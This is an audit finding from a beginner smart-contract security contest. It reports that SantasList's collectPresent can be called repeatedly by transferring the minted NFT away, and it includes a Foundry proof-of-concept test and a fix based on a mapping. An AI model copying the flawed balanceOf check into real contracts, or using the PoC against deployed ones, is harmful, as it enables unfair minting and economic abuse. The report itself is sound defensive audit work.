First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Loophole in collectPresent Function for Multiple NFT Collections

kamuik16

Summary

The collectPresent function in the SantasList smart contract is vulnerable to an exploit that allows users to collect multiple presents. This is due to the function's reliance on the balanceOf method to check if a user has already collected a present. Users can circumvent this check by transferring their collected NFT to another account and then collecting additional presents.

Vulnerability Details

In the SantasList contract, the collectPresent function checks if an address has already collected a present by verifying the balance of NFTs owned by the user. However, this check does not account for the possibility of users transferring their NFTs to another address after collection. Consequently, a user can repeatedly collect presents by continuously transferring NFTs to different addresses, thus bypassing the intended one-present-per-address limit.

Below is a POC of how a user can exploit this:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
​
import {SantasList} from "../../src/SantasList.sol";
import {SantaToken} from "../../src/SantaToken.sol";
import {Test} from "forge-std/Test.sol";
import {_CheatCodes} from "../mocks/CheatCodes.t.sol";
​
contract SantasListTest is Test {
SantasList santasList;
SantaToken santaToken;
​
address user = makeAddr("user");
address user2 = makeAddr("user2");
address santa = makeAddr("santa");
_CheatCodes cheatCodes = _CheatCodes(HEVM_ADDRESS);
​
function setUp() public {
vm.startPrank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
vm.stopPrank();
}
​
function testOneCanMintMultipleNfts() public {
vm.startPrank(user);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.startPrank(santa);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
for(uint8 i=0; i < 10; i++){
santasList.collectPresent();
santasList.approve(address(santasList), i);
santasList.transferFrom(user, user2, i);
}
vm.stopPrank();
}
}

Impact

It could lead to an excessive minting of NFTs, devaluation of the NFTs, and potential exploitation of the SantaToken economy. Moreover, it violates the fairness of the system, as some users may gain multiple presents while others adhere to the intended single-collection rule.

Tools Used

  • Foundry

  • Manual code review

Recommendations

Introduce a mapping in the SantasList contract that maps each address to a boolean value. This mapping should track whether an address has already collected a present. When a user collects a present, their address should be marked as true in this mapping, preventing them from collecting presents more than once, regardless of their NFT balance.

mapping(address person => bool collectedOrNot) private s_collectedAddressList;
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.